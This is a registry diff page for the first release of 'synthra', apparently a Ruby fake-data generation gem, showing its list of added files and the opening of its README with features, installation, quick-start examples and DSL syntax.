synthra 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (302) hide show
  1. checksums.yaml +7 -0
  2. data/.rspec +4 -0
  3. data/.rubocop.yml +40 -0
  4. data/.yardopts +18 -0
  5. data/ACCESS_DOCS.md +116 -0
  6. data/ADVANCED_FEATURES_SUMMARY.md +245 -0
  7. data/CHANGELOG.md +498 -0
  8. data/CODE_OF_CONDUCT.md +122 -0
  9. data/CONTRIBUTING.md +307 -0
  10. data/DOCUMENTATION.md +204 -0
  11. data/DOCUMENTATION_GUIDE.md +194 -0
  12. data/LICENSE +22 -0
  13. data/README.md +1458 -0
  14. data/Rakefile +128 -0
  15. data/benchmark/README.md +591 -0
  16. data/benchmark/batch_generation.rb +63 -0
  17. data/benchmark/engine_comparison.rb +295 -0
  18. data/benchmark/single_record.rb +108 -0
  19. data/benchmark/streaming.rb +74 -0
  20. data/docs/ACTIVERECORD_INFERENCE.md +524 -0
  21. data/docs/API_SERVER.md +278 -0
  22. data/docs/CONFIG_FILE.md +315 -0
  23. data/docs/DATA_CONTRACTS.md +312 -0
  24. data/docs/ENHANCED_REPL.md +304 -0
  25. data/docs/FACTORY_BOT.md +271 -0
  26. data/docs/GITHUB_ACTION.md +420 -0
  27. data/docs/GRAPHQL_EXPORT.md +303 -0
  28. data/docs/GRAPHQL_FEDERATION.md +651 -0
  29. data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
  30. data/docs/LSP.md +189 -0
  31. data/docs/MIGRATION_GENERATOR.md +547 -0
  32. data/docs/MOCK_SERVER.md +280 -0
  33. data/docs/NATIVE_ENGINE.md +298 -0
  34. data/docs/OPENAPI_EXPORT.md +252 -0
  35. data/docs/PERFORMANCE_MODE.md +228 -0
  36. data/docs/PERSONAS.md +547 -0
  37. data/docs/PROPERTY_TESTING.md +284 -0
  38. data/docs/PROTOBUF_EXPORT.md +276 -0
  39. data/docs/QUALITY_METRICS.md +555 -0
  40. data/docs/QUICK_REFERENCE.md +88 -0
  41. data/docs/RAILS_ENGINE.md +404 -0
  42. data/docs/RAILS_INTEGRATION.md +454 -0
  43. data/docs/README.md +175 -0
  44. data/docs/REPL_QUICK_REFERENCE.md +149 -0
  45. data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
  46. data/docs/SCENARIOS.md +576 -0
  47. data/docs/SECURITY_TESTING.md +318 -0
  48. data/docs/SNAPSHOT_TESTING.md +308 -0
  49. data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
  50. data/docs/TERRAFORM_EXPORT.md +447 -0
  51. data/docs/TIME_TRAVEL.md +507 -0
  52. data/docs/USAGE_GUIDE.md +980 -0
  53. data/docs/WEBHOOK_SIMULATOR.md +579 -0
  54. data/docs/advanced_features.md +183 -0
  55. data/docs/api_reference.md +153 -0
  56. data/docs/behaviors.md +138 -0
  57. data/docs/best_practices.md +191 -0
  58. data/docs/dsl_reference.md +172 -0
  59. data/docs/examples.md +162 -0
  60. data/docs/generation_modes.md +125 -0
  61. data/docs/getting_started.md +92 -0
  62. data/docs/index.html +177 -0
  63. data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
  64. data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
  65. data/docs/troubleshooting.md +215 -0
  66. data/docs/type_reference.md +224 -0
  67. data/examples/hostile_mode_demo.rb +64 -0
  68. data/exe/synthra +6 -0
  69. data/ext/synthra_native/Cargo.lock +972 -0
  70. data/ext/synthra_native/Cargo.toml +46 -0
  71. data/ext/synthra_native/extconf.rb +41 -0
  72. data/ext/synthra_native/src/generator.rs +397 -0
  73. data/ext/synthra_native/src/lib.rs +229 -0
  74. data/ext/synthra_native/src/types.rs +1485 -0
  75. data/lib/generators/synthra/install_generator.rb +86 -0
  76. data/lib/generators/synthra/templates/api_response.dsl +15 -0
  77. data/lib/generators/synthra/templates/fake_data.rake +116 -0
  78. data/lib/generators/synthra/templates/synthra.yml +31 -0
  79. data/lib/generators/synthra/templates/synthra_support.rb +19 -0
  80. data/lib/generators/synthra/templates/user.dsl +11 -0
  81. data/lib/synthra/activerecord_inference.rb +394 -0
  82. data/lib/synthra/api.rb +381 -0
  83. data/lib/synthra/api_server.rb +718 -0
  84. data/lib/synthra/behaviors/applicator.rb +165 -0
  85. data/lib/synthra/behaviors/base.rb +155 -0
  86. data/lib/synthra/behaviors/close_connection.rb +60 -0
  87. data/lib/synthra/behaviors/deprecated.rb +100 -0
  88. data/lib/synthra/behaviors/failure.rb +69 -0
  89. data/lib/synthra/behaviors/latency.rb +103 -0
  90. data/lib/synthra/behaviors/partial_data.rb +83 -0
  91. data/lib/synthra/behaviors/randomize_order.rb +74 -0
  92. data/lib/synthra/behaviors/registry.rb +238 -0
  93. data/lib/synthra/behaviors/simulate_error.rb +79 -0
  94. data/lib/synthra/cli/commands/base.rb +105 -0
  95. data/lib/synthra/cli/commands/diff.rb +227 -0
  96. data/lib/synthra/cli/commands/docs.rb +67 -0
  97. data/lib/synthra/cli/commands/export.rb +150 -0
  98. data/lib/synthra/cli/commands/generate.rb +72 -0
  99. data/lib/synthra/cli/commands/import.rb +80 -0
  100. data/lib/synthra/cli/commands/lint.rb +53 -0
  101. data/lib/synthra/cli/commands/live.rb +57 -0
  102. data/lib/synthra/cli/commands/seed.rb +99 -0
  103. data/lib/synthra/cli/commands/validate.rb +28 -0
  104. data/lib/synthra/cli.rb +2471 -0
  105. data/lib/synthra/config_file.rb +129 -0
  106. data/lib/synthra/configuration.rb +281 -0
  107. data/lib/synthra/contracts_registry.rb +408 -0
  108. data/lib/synthra/database_seeder.rb +268 -0
  109. data/lib/synthra/deterministic_ids.rb +218 -0
  110. data/lib/synthra/documentation_generator.rb +414 -0
  111. data/lib/synthra/engine.rb +251 -0
  112. data/lib/synthra/errors.rb +1169 -0
  113. data/lib/synthra/export/base.rb +85 -0
  114. data/lib/synthra/export/csv.rb +101 -0
  115. data/lib/synthra/export/graphql.rb +266 -0
  116. data/lib/synthra/export/graphql_federation.rb +377 -0
  117. data/lib/synthra/export/graphviz.rb +258 -0
  118. data/lib/synthra/export/javascript.rb +327 -0
  119. data/lib/synthra/export/json_data.rb +61 -0
  120. data/lib/synthra/export/json_schema.rb +290 -0
  121. data/lib/synthra/export/openapi.rb +514 -0
  122. data/lib/synthra/export/protobuf.rb +483 -0
  123. data/lib/synthra/export/python.rb +560 -0
  124. data/lib/synthra/export/sql.rb +381 -0
  125. data/lib/synthra/export/sql_insert.rb +152 -0
  126. data/lib/synthra/export/terraform.rb +501 -0
  127. data/lib/synthra/export/type_mapping.rb +389 -0
  128. data/lib/synthra/export/typescript.rb +300 -0
  129. data/lib/synthra/export/xml_data.rb +104 -0
  130. data/lib/synthra/export/yaml_data.rb +56 -0
  131. data/lib/synthra/export.rb +404 -0
  132. data/lib/synthra/factory_bot_integration.rb +157 -0
  133. data/lib/synthra/field.rb +440 -0
  134. data/lib/synthra/functions/registry.rb +104 -0
  135. data/lib/synthra/generator/context.rb +372 -0
  136. data/lib/synthra/generator/engine.rb +336 -0
  137. data/lib/synthra/generator/faker_adapter.rb +425 -0
  138. data/lib/synthra/generator/modes.rb +444 -0
  139. data/lib/synthra/generator/resolver.rb +256 -0
  140. data/lib/synthra/generator/rng.rb +273 -0
  141. data/lib/synthra/generator/streamer.rb +63 -0
  142. data/lib/synthra/generator/uniqueness.rb +118 -0
  143. data/lib/synthra/initializer.rb +97 -0
  144. data/lib/synthra/limits.rb +279 -0
  145. data/lib/synthra/live_preview.rb +518 -0
  146. data/lib/synthra/loader_config.rb +78 -0
  147. data/lib/synthra/lsp/server.rb +689 -0
  148. data/lib/synthra/migration_generator.rb +301 -0
  149. data/lib/synthra/mixin.rb +174 -0
  150. data/lib/synthra/mock_server.rb +458 -0
  151. data/lib/synthra/native_engine.rb +304 -0
  152. data/lib/synthra/openapi_importer.rb +228 -0
  153. data/lib/synthra/output/json_formatter.rb +40 -0
  154. data/lib/synthra/output/ndjson_formatter.rb +55 -0
  155. data/lib/synthra/parser/ast.rb +1287 -0
  156. data/lib/synthra/parser/lexer.rb +1152 -0
  157. data/lib/synthra/parser/parser.rb +1664 -0
  158. data/lib/synthra/parser/tokens.rb +461 -0
  159. data/lib/synthra/performance_mode.rb +364 -0
  160. data/lib/synthra/personas.rb +397 -0
  161. data/lib/synthra/property_testing.rb +172 -0
  162. data/lib/synthra/quality_metrics.rb +405 -0
  163. data/lib/synthra/rails_test_helper.rb +248 -0
  164. data/lib/synthra/registry.rb +533 -0
  165. data/lib/synthra/relationships.rb +193 -0
  166. data/lib/synthra/repl/enhanced_repl.rb +607 -0
  167. data/lib/synthra/repl/formatter.rb +191 -0
  168. data/lib/synthra/scenarios.rb +423 -0
  169. data/lib/synthra/schema.rb +605 -0
  170. data/lib/synthra/schema_inheritance.rb +104 -0
  171. data/lib/synthra/schema_versioning.rb +212 -0
  172. data/lib/synthra/snapshot_testing.rb +199 -0
  173. data/lib/synthra/time_travel.rb +338 -0
  174. data/lib/synthra/type_definitions.rb +274 -0
  175. data/lib/synthra/types/address_location/addresses.rb +125 -0
  176. data/lib/synthra/types/address_location/airports.rb +200 -0
  177. data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
  178. data/lib/synthra/types/address_location/locations.rb +406 -0
  179. data/lib/synthra/types/base.rb +48 -0
  180. data/lib/synthra/types/commerce_products/commerce.rb +119 -0
  181. data/lib/synthra/types/commerce_products/companies.rb +71 -0
  182. data/lib/synthra/types/commerce_products/construction.rb +126 -0
  183. data/lib/synthra/types/commerce_products/products.rb +205 -0
  184. data/lib/synthra/types/core/collections.rb +513 -0
  185. data/lib/synthra/types/core/defaults.rb +76 -0
  186. data/lib/synthra/types/core/enums.rb +102 -0
  187. data/lib/synthra/types/core/identifiers.rb +445 -0
  188. data/lib/synthra/types/core/primitives.rb +586 -0
  189. data/lib/synthra/types/core/references.rb +466 -0
  190. data/lib/synthra/types/core/sequences.rb +304 -0
  191. data/lib/synthra/types/crypto/crypto.rb +162 -0
  192. data/lib/synthra/types/date_time/dates.rb +387 -0
  193. data/lib/synthra/types/finance_banking/banking.rb +424 -0
  194. data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
  195. data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
  196. data/lib/synthra/types/formula.rb +184 -0
  197. data/lib/synthra/types/health_medical/medical.rb +150 -0
  198. data/lib/synthra/types/hostile_payloads.rb +122 -0
  199. data/lib/synthra/types/json_array.rb +51 -0
  200. data/lib/synthra/types/media_entertainment/media.rb +62 -0
  201. data/lib/synthra/types/naughty_string.rb +30 -0
  202. data/lib/synthra/types/personal_names/chinese.rb +41 -0
  203. data/lib/synthra/types/personal_names/identifiers.rb +187 -0
  204. data/lib/synthra/types/personal_names/names.rb +246 -0
  205. data/lib/synthra/types/personal_names/national_id.rb +89 -0
  206. data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
  207. data/lib/synthra/types/regex.rb +248 -0
  208. data/lib/synthra/types/registry.rb +182 -0
  209. data/lib/synthra/types/repeating_element.rb +50 -0
  210. data/lib/synthra/types/scenario.rb +29 -0
  211. data/lib/synthra/types/technology_internet/apps.rb +67 -0
  212. data/lib/synthra/types/technology_internet/communication.rb +162 -0
  213. data/lib/synthra/types/technology_internet/devices.rb +80 -0
  214. data/lib/synthra/types/technology_internet/formats.rb +139 -0
  215. data/lib/synthra/types/technology_internet/networking.rb +143 -0
  216. data/lib/synthra/types/template.rb +92 -0
  217. data/lib/synthra/types/text_content/business.rb +128 -0
  218. data/lib/synthra/types/text_content/colors.rb +70 -0
  219. data/lib/synthra/types/text_content/misc.rb +237 -0
  220. data/lib/synthra/types/text_content/security.rb +130 -0
  221. data/lib/synthra/types/text_content/text_generation.rb +532 -0
  222. data/lib/synthra/types/travel/travel.rb +150 -0
  223. data/lib/synthra/utils/string_distance.rb +133 -0
  224. data/lib/synthra/validator/dsl_validator.rb +339 -0
  225. data/lib/synthra/validator/path_validator.rb +615 -0
  226. data/lib/synthra/version.rb +35 -0
  227. data/lib/synthra/webhook_simulator.rb +341 -0
  228. data/lib/synthra.rb +259 -0
  229. data/schemas/address.dsl +16 -0
  230. data/schemas/api_response.dsl +8 -0
  231. data/schemas/error_payload.dsl +9 -0
  232. data/schemas/order.dsl +10 -0
  233. data/schemas/order_item.dsl +8 -0
  234. data/schemas/payment.dsl +11 -0
  235. data/schemas/social_post.dsl +13 -0
  236. data/schemas/user.dsl +10 -0
  237. data/scripts/batch_fix_all.rb +96 -0
  238. data/scripts/delete_old_files.rb +32 -0
  239. data/scripts/fix_all_grouped_files.rb +137 -0
  240. data/scripts/fix_all_indentation.rb +48 -0
  241. data/scripts/fix_all_syntax.rb +124 -0
  242. data/scripts/fix_grouped_files.rb +184 -0
  243. data/scripts/fix_syntax_errors.rb +108 -0
  244. data/scripts/group_domain_types.rb +112 -0
  245. data/scripts/group_domain_types_fixed.rb +150 -0
  246. data/scripts/merge_domains_to_one_file.rb +68 -0
  247. data/scripts/move_existing_types.rb +130 -0
  248. data/scripts/split_grouped_types.rb +142 -0
  249. data/tech_docs/README.md +134 -0
  250. data/tech_docs/advanced/streaming.md +405 -0
  251. data/tech_docs/advanced/thread_safety.md +253 -0
  252. data/tech_docs/api/overview.md +485 -0
  253. data/tech_docs/appendices/type_chart.md +193 -0
  254. data/tech_docs/basic_concepts.md +383 -0
  255. data/tech_docs/behaviors/overview.md +346 -0
  256. data/tech_docs/dsl/complex_types.md +790 -0
  257. data/tech_docs/dsl/core_types.md +464 -0
  258. data/tech_docs/dsl/datetime_types.md +325 -0
  259. data/tech_docs/dsl/field_modifiers.md +414 -0
  260. data/tech_docs/dsl/grammar.md +431 -0
  261. data/tech_docs/dsl/schema_definition.md +399 -0
  262. data/tech_docs/export/README.md +276 -0
  263. data/tech_docs/installation.md +273 -0
  264. data/tech_docs/integration/ci_cd.md +707 -0
  265. data/tech_docs/integration/ci_cd_guide.md +579 -0
  266. data/tech_docs/integration/factory_bot.md +485 -0
  267. data/tech_docs/integration/rails.md +630 -0
  268. data/tech_docs/integration/rspec.md +449 -0
  269. data/tech_docs/modes/overview.md +350 -0
  270. data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
  271. data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
  272. data/tech_docs/quick_start.md +256 -0
  273. data/tech_docs/templates/README.md +805 -0
  274. data/tech_docs/tutorials/advanced.md +371 -0
  275. data/tech_docs/tutorials/getting_started.md +189 -0
  276. data/tech_docs/tutorials/intermediate.md +231 -0
  277. data/tech_docs/tutorials/template_gallery.md +569 -0
  278. data/tech_example/01_basic_usage.rb +238 -0
  279. data/tech_example/02_types_demo.rb +336 -0
  280. data/tech_example/04_cli_usage.md +429 -0
  281. data/tech_example/05_database_seeding.rb +283 -0
  282. data/tech_example/07_rspec_integration.rb +359 -0
  283. data/tech_example/10_custom_types.rb +387 -0
  284. data/tech_example/12_behaviors.rb +372 -0
  285. data/tech_example/13_twitter_dm_example.rb +120 -0
  286. data/tech_example/14_exact_json_structure.rb +253 -0
  287. data/tech_example/16_lsp_server.rb +56 -0
  288. data/tech_example/17_property_testing.rb +92 -0
  289. data/tech_example/18_enhanced_repl.rb +120 -0
  290. data/tech_example/19_security_fuzzing.rb +145 -0
  291. data/tech_example/NEW_FEATURES.md +169 -0
  292. data/tech_example/README.md +118 -0
  293. data/tech_example/schemas/api_response.dsl +123 -0
  294. data/tech_example/schemas/ecommerce.dsl +121 -0
  295. data/tech_example/schemas/twitter_dm.dsl +109 -0
  296. data/tech_example/schemas/user.dsl +36 -0
  297. data/vscode-extension/README.md +246 -0
  298. data/vscode-extension/language-configuration.json +31 -0
  299. data/vscode-extension/package.json +55 -0
  300. data/vscode-extension/snippets/fakedatadsl.json +198 -0
  301. data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
  302. metadata +478 -0
data/README.md ADDED
@@ -0,0 +1,1458 @@
1
+ # Synthra
2
+
3
+ [![Gem Version](https://badge.fury.io/rb/synthra.svg)](https://badge.fury.io/rb/synthra)
4
+ [![Build Status](https://github.com/talaatmagdyx/synthra/actions/workflows/ci.yml/badge.svg)](https://github.com/talaatmagdyx/synthra/actions)
5
+ [![Test Coverage](https://img.shields.io/badge/coverage-98%25-brightgreen.svg)](https://github.com/talaatmagdyx/synthra)
6
+ [![Ruby Style Guide](https://img.shields.io/badge/code_style-rubocop-brightgreen.svg)](https://github.com/rubocop/rubocop)
7
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
8
+
9
+ **Synthra** is a powerful Ruby gem for generating realistic fake data using a human-friendly, indentation-based Domain Specific Language (DSL). It provides enterprise-grade features for testing, development, and data simulation.
10
+
11
+ ## ✨ Features
12
+
13
+ - 🎯 **Intuitive DSL** - Define data schemas with a clean, YAML-like syntax
14
+ - 🔄 **Deterministic Generation** - Seed-based reproducible output for consistent testing
15
+ - 📦 **Rich Type System** - 50+ built-in types including UUID, dates, money, and more
16
+ - 🔗 **Cross-Schema References** - Link schemas together with automatic resolution
17
+ - 🧮 **Computed Fields** - Dynamic values based on other fields
18
+ - 🎭 **Behavior Simulation** - Simulate latency, failures, and network conditions
19
+ - 📊 **Generation Modes** - Random, edge-case, invalid, hostile (security testing), and mixed data generation
20
+ - 🚀 **Streaming Support** - Memory-efficient batch generation for large datasets
21
+ - ⚡ **Native Rust Engine** - 3-4M records/sec with configurable threads (default: 2)
22
+ - 🛡️ **Resource Limits** - Configurable limits to prevent runaway generation
23
+ - 📤 **Multi-Format Export** - Export to TypeScript, Python, JSON Schema, SQL, CSV, and more
24
+ - 🌍 **Multi-Locale Support** - Generate data in English, French, German, Japanese, Chinese, and more
25
+ - 🔍 **LSP Server** - Full IDE integration with go-to-definition, hover, completion, and diagnostics
26
+ - 🧪 **Property-Based Testing** - RSpec integration for verifying properties across generated data
27
+ - 🐛 **Enhanced REPL** - Visual inspection, step-through debugging, and table formatting
28
+ - 🔐 **Security Fuzzing** - Hostile mode for security testing with SQL injection, XSS, and more
29
+ - 🏭 **Factory Bot Integration** - Bridge to Factory Bot for seamless test data ⭐ NEW
30
+ - 📸 **Snapshot Testing** - Detect unintended schema changes in CI ⭐ NEW
31
+ - ⚖️ **Breaking Changes Diff** - CI-friendly schema version comparison ⭐ NEW
32
+ - 📄 **Config File Support** - YAML configuration with environment support ⭐ NEW
33
+ - 🧪 **Rails Test Helper** - `generate_for_test(Model)` integration ⭐ NEW
34
+ - 🧩 **Schema Mixins** - Reusable field sets with `@mixin` ⭐ NEW
35
+ - 🔗 **Data Relationships** - `belongs_to`, `has_one`, `has_many` support ⭐ NEW
36
+ - 📊 **Schema Versioning** - `User@v2` with migration tracking ⭐ NEW
37
+ - 📥 **OpenAPI Import** - Convert OpenAPI specs to DSL schemas ⭐ NEW
38
+ - 🌱 **Database Seeder** - FK-aware database seeding ⭐ NEW
39
+ - 🖥️ **Live Preview Server** - Web UI with hot reload ⭐ NEW
40
+ - 📖 **Documentation Generator** - Beautiful HTML docs from schemas ⭐ NEW
41
+ - 🔢 **Deterministic IDs** - Reproducible UUIDs, short IDs, slugs ⭐ NEW
42
+ - 🚀 **Production API Server** - REST API for data generation 🔥 NEW
43
+ - 📡 **gRPC/Protobuf Export** - Generate .proto files for microservices 🔥 NEW
44
+ - 📋 **OpenAPI Generation** - Export schemas to OpenAPI 3.0 specs 🔥 NEW
45
+ - 🎬 **Mock Server + Recording** - Record real API responses, replay as mocks 🔥 NEW
46
+ - 📜 **Data Contracts Registry** - Version and publish schemas centrally 🔥 NEW
47
+ - ⚡ **Performance Mode** - Generate millions of records with parallel processing 🔥 NEW
48
+ - 🚂 **Rails Engine** - Zero-config Rails integration with auto-discovery 🚀 NEW
49
+ - 🔍 **ActiveRecord Inference** - Generate schemas from your models 🚀 NEW
50
+ - 📸 **Scenarios** - Complex test data fixtures with relationships 🚀 NEW
51
+ - ⏰ **Time Travel** - Generate historical/time-series data 🚀 NEW
52
+ - 🎭 **Personas** - Named data profiles (happy_path, edge_cases) 🚀 NEW
53
+ - 📊 **Quality Metrics** - Analyze data realism and distribution 🚀 NEW
54
+ - 🔗 **GraphQL Federation** - Apollo Federation v2 export 🚀 NEW
55
+ - 🎬 **Webhook Simulation** - Test Stripe, GitHub webhooks 🚀 NEW
56
+ - 🧬 **Migration Generator** - Generate Rails migrations from schemas 🚀 NEW
57
+ - 🏗️ **Terraform Export** - Generate AWS/GCP infrastructure code 🚀 NEW
58
+ - 🤖 **GitHub Action** - CI/CD integration for schema validation 🚀 NEW
59
+
60
+ ---
61
+
62
+ ## 📚 Documentation
63
+
64
+ | Documentation | Description |
65
+ |---------------|-------------|
66
+ | [**Technical Docs**](tech_docs/README.md) | Complete technical documentation |
67
+ | [**Examples**](tech_example/README.md) | Runnable code examples |
68
+ | [**Type Reference**](tech_docs/appendices/type_chart.md) | Quick reference for all types |
69
+ | [**API Reference**](tech_docs/api/overview.md) | Ruby API documentation |
70
+ | [**CLI Guide**](tech_example/04_cli_usage.md) | Command-line interface guide |
71
+ | [**Export Guide**](tech_docs/export/README.md) | Multi-format export documentation |
72
+ | [**Schema Templates**](tech_docs/templates/README.md) | 12+ production-ready templates |
73
+ | [**CI/CD Integration**](tech_docs/integration/ci_cd_guide.md) | GitHub, GitLab, Jenkins setup |
74
+ | [**Performance Benchmarks**](benchmark/README.md) | Benchmarks and optimization tips |
75
+ | [**Native Rust Engine**](docs/NATIVE_ENGINE.md) | 3-4M records/sec with fake-rs ⚡ |
76
+ | [**LSP Server**](docs/LSP.md) | IDE integration with go-to-definition, hover, completion ⭐ NEW |
77
+ | [**Property-Based Testing**](docs/PROPERTY_TESTING.md) | RSpec integration for property verification ⭐ NEW |
78
+ | [**Enhanced REPL**](docs/ENHANCED_REPL.md) | Visual inspection and step-through debugging ⭐ NEW |
79
+ | [**Security Testing**](docs/SECURITY_TESTING.md) | Hostile mode for security fuzzing ⭐ NEW |
80
+ | [**Factory Bot Integration**](docs/FACTORY_BOT.md) | Bridge to Factory Bot for test data ⭐ NEW |
81
+ | [**Snapshot Testing**](docs/SNAPSHOT_TESTING.md) | Detect schema changes in CI ⭐ NEW |
82
+ | [**Config File Guide**](docs/CONFIG_FILE.md) | YAML configuration reference ⭐ NEW |
83
+ | [**GraphQL Export**](docs/GRAPHQL_EXPORT.md) | GraphQL SDL export guide ⭐ NEW |
84
+ | [**Production API Server**](docs/API_SERVER.md) | REST API for production use 🔥 NEW |
85
+ | [**gRPC/Protobuf Export**](docs/PROTOBUF_EXPORT.md) | Generate .proto files 🔥 NEW |
86
+ | [**OpenAPI Export**](docs/OPENAPI_EXPORT.md) | Export to OpenAPI 3.0 🔥 NEW |
87
+ | [**Mock Server**](docs/MOCK_SERVER.md) | Record & replay mock responses 🔥 NEW |
88
+ | [**Data Contracts**](docs/DATA_CONTRACTS.md) | Schema versioning registry 🔥 NEW |
89
+ | [**Performance Mode**](docs/PERFORMANCE_MODE.md) | Generate millions of records 🔥 NEW |
90
+ | [**Rails Engine**](docs/RAILS_ENGINE.md) | Zero-config Rails integration 🚀 NEW |
91
+ | [**ActiveRecord Inference**](docs/ACTIVERECORD_INFERENCE.md) | Generate schemas from models 🚀 NEW |
92
+ | [**Scenarios**](docs/SCENARIOS.md) | Complex test data fixtures 🚀 NEW |
93
+ | [**Time Travel**](docs/TIME_TRAVEL.md) | Historical/time-series data 🚀 NEW |
94
+ | [**Personas**](docs/PERSONAS.md) | Named data profiles 🚀 NEW |
95
+ | [**Quality Metrics**](docs/QUALITY_METRICS.md) | Analyze generated data 🚀 NEW |
96
+ | [**GraphQL Federation**](docs/GRAPHQL_FEDERATION.md) | Apollo Federation export 🚀 NEW |
97
+ | [**Webhook Simulator**](docs/WEBHOOK_SIMULATOR.md) | Test webhooks 🚀 NEW |
98
+ | [**Migration Generator**](docs/MIGRATION_GENERATOR.md) | Generate Rails migrations 🚀 NEW |
99
+ | [**Terraform Export**](docs/TERRAFORM_EXPORT.md) | Infrastructure as Code 🚀 NEW |
100
+ | [**GitHub Action**](docs/GITHUB_ACTION.md) | CI/CD integration 🚀 NEW |
101
+
102
+ ### Quick Links
103
+
104
+ - [Installation Guide](tech_docs/installation.md)
105
+ - [Quick Start](tech_docs/quick_start.md)
106
+ - [DSL Syntax Reference](tech_docs/dsl/schema_definition.md)
107
+ - [All Types](tech_docs/dsl/core_types.md)
108
+ - [Behaviors](tech_docs/behaviors/overview.md)
109
+ - [Generation Modes](tech_docs/modes/overview.md)
110
+ - [Export Guide](tech_docs/export/README.md)
111
+ - [Schema Templates](tech_docs/templates/README.md) ⭐ NEW
112
+ - [CI/CD Integration](tech_docs/integration/ci_cd_guide.md) ⭐ NEW
113
+ - [Benchmarks](benchmark/README.md) ⭐ NEW
114
+ - [Native Rust Engine](docs/NATIVE_ENGINE.md) ⚡ 3-4M records/sec
115
+
116
+ ---
117
+
118
+ ## 📋 Table of Contents
119
+
120
+ - [Installation](#-installation)
121
+ - [Quick Start](#-quick-start)
122
+ - [DSL Syntax](#-dsl-syntax)
123
+ - [Built-in Types](#-built-in-types)
124
+ - [Behaviors](#-behaviors)
125
+ - [Generation Modes](#-generation-modes)
126
+ - [Ruby API](#-ruby-api)
127
+ - [Export Formats](#-export-formats)
128
+ - [Native Rust Engine](#-native-rust-engine) ⚡ NEW
129
+ - [CLI Usage](#-cli-usage)
130
+ - [Configuration](#-configuration)
131
+ - [Factory Bot Integration](#-factory-bot-integration) ⭐ NEW
132
+ - [Snapshot Testing](#-snapshot-testing) ⭐ NEW
133
+ - [Breaking Changes Diff](#-breaking-changes-diff) ⭐ NEW
134
+ - [Production API Server](#-production-api-server) 🔥 NEW
135
+ - [gRPC/Protobuf Export](#-grpcprotobuf-export) 🔥 NEW
136
+ - [OpenAPI Export](#-openapi-export) 🔥 NEW
137
+ - [Mock Server](#-mock-server) 🔥 NEW
138
+ - [Data Contracts Registry](#-data-contracts-registry) 🔥 NEW
139
+ - [Performance Mode](#-performance-mode) 🔥 NEW
140
+ - [Examples](#-examples)
141
+ - [Contributing](#-contributing)
142
+ - [License](#-license)
143
+
144
+ ---
145
+
146
+ ## 📦 Installation
147
+
148
+ ### Requirements
149
+
150
+ - Ruby 3.1.0 or higher
151
+
152
+ ### Via Bundler (Recommended)
153
+
154
+ ```ruby
155
+ gem 'synthra'
156
+ ```
157
+
158
+ Then run:
159
+
160
+ ```bash
161
+ bundle install
162
+ ```
163
+
164
+ ### Via RubyGems
165
+
166
+ ```bash
167
+ gem install synthra
168
+ ```
169
+
170
+ 📖 See [Installation Guide](tech_docs/installation.md) for detailed instructions.
171
+
172
+ ---
173
+
174
+ ## 🚀 Quick Start
175
+
176
+ ### 1. Define a Schema
177
+
178
+ Create `schemas/user.dsl`:
179
+
180
+ ```
181
+ User:
182
+ id: uuid(unique: true)
183
+ name: name
184
+ email: email
185
+ age: number(18..65)
186
+ active: boolean(true:80%)
187
+ role: enum(user, admin:10%, moderator:20%)
188
+ created_at: past_date(1y)
189
+ ```
190
+
191
+ ### 2. Generate Data in Ruby
192
+
193
+ ```ruby
194
+ require 'synthra'
195
+
196
+ # Load and generate
197
+ schema = Synthra.load('schemas/user.dsl')
198
+ user = schema.generate
199
+
200
+ # Output:
201
+ # {
202
+ # "id" => "550e8400-e29b-41d4-a716-446655440000",
203
+ # "name" => "John Smith",
204
+ # "email" => "john.smith@example.com",
205
+ # "age" => 34,
206
+ # "active" => true,
207
+ # "role" => "user",
208
+ # "created_at" => "2024-06-15"
209
+ # }
210
+
211
+ # Generate multiple records
212
+ users = schema.generate_many(100)
213
+
214
+ # Generate with seed for reproducibility
215
+ user = schema.generate(seed: 12345)
216
+ ```
217
+
218
+ ### 3. Or Use the CLI
219
+
220
+ ```bash
221
+ # Validate schema
222
+ synthra validate schemas/user.dsl
223
+
224
+ # Generate 10 users
225
+ synthra generate User --dir schemas --count 10
226
+
227
+ # Generate with pretty output
228
+ synthra generate User --dir schemas --pretty
229
+ ```
230
+
231
+ 📖 See [Quick Start Guide](tech_docs/quick_start.md) for more details.
232
+
233
+ ---
234
+
235
+ ## 📝 DSL Syntax
236
+
237
+ ### Schema Definition
238
+
239
+ ```
240
+ SchemaName:
241
+ field_name: type
242
+ field_name: type(arguments)
243
+ optional_field?: type # May be omitted
244
+ nullable_field: type? # May be null
245
+ ```
246
+
247
+ ### Field Modifiers
248
+
249
+ ```
250
+ User:
251
+ id: uuid # Required field
252
+ phone?: phone # Optional (may not appear)
253
+ nickname: text? # Nullable (may be null)
254
+ bio?: text? # Optional AND nullable
255
+ tracking: text if status # Conditional field
256
+ ```
257
+
258
+ ### Behaviors
259
+
260
+ ```
261
+ APIResponse:
262
+ @latency 100..500ms # Random delay
263
+ @failure 5% # 5% chance of error
264
+ @partial_data 10% # 10% missing fields
265
+
266
+ data: object
267
+ ```
268
+
269
+ 📖 See [DSL Reference](tech_docs/dsl/schema_definition.md) for complete syntax.
270
+
271
+ ---
272
+
273
+ ## 📦 Built-in Types
274
+
275
+ ### Identifiers
276
+ `uuid`, `ulid`, `id_sequence`
277
+
278
+ ### Personal Data
279
+ `name`, `first_name`, `last_name`, `email`, `phone`, `username`, `avatar`
280
+
281
+ ### Text
282
+ `text`, `paragraph`, `sentence`, `word`
283
+
284
+ ### Numbers
285
+ `number`, `integer`, `float`, `latitude`, `longitude`
286
+
287
+ ### Boolean & Enum
288
+ `boolean`, `enum`
289
+
290
+ ### Date & Time
291
+ `date`, `past_date`, `future_date`, `timestamp`, `now`
292
+
293
+ ### Location
294
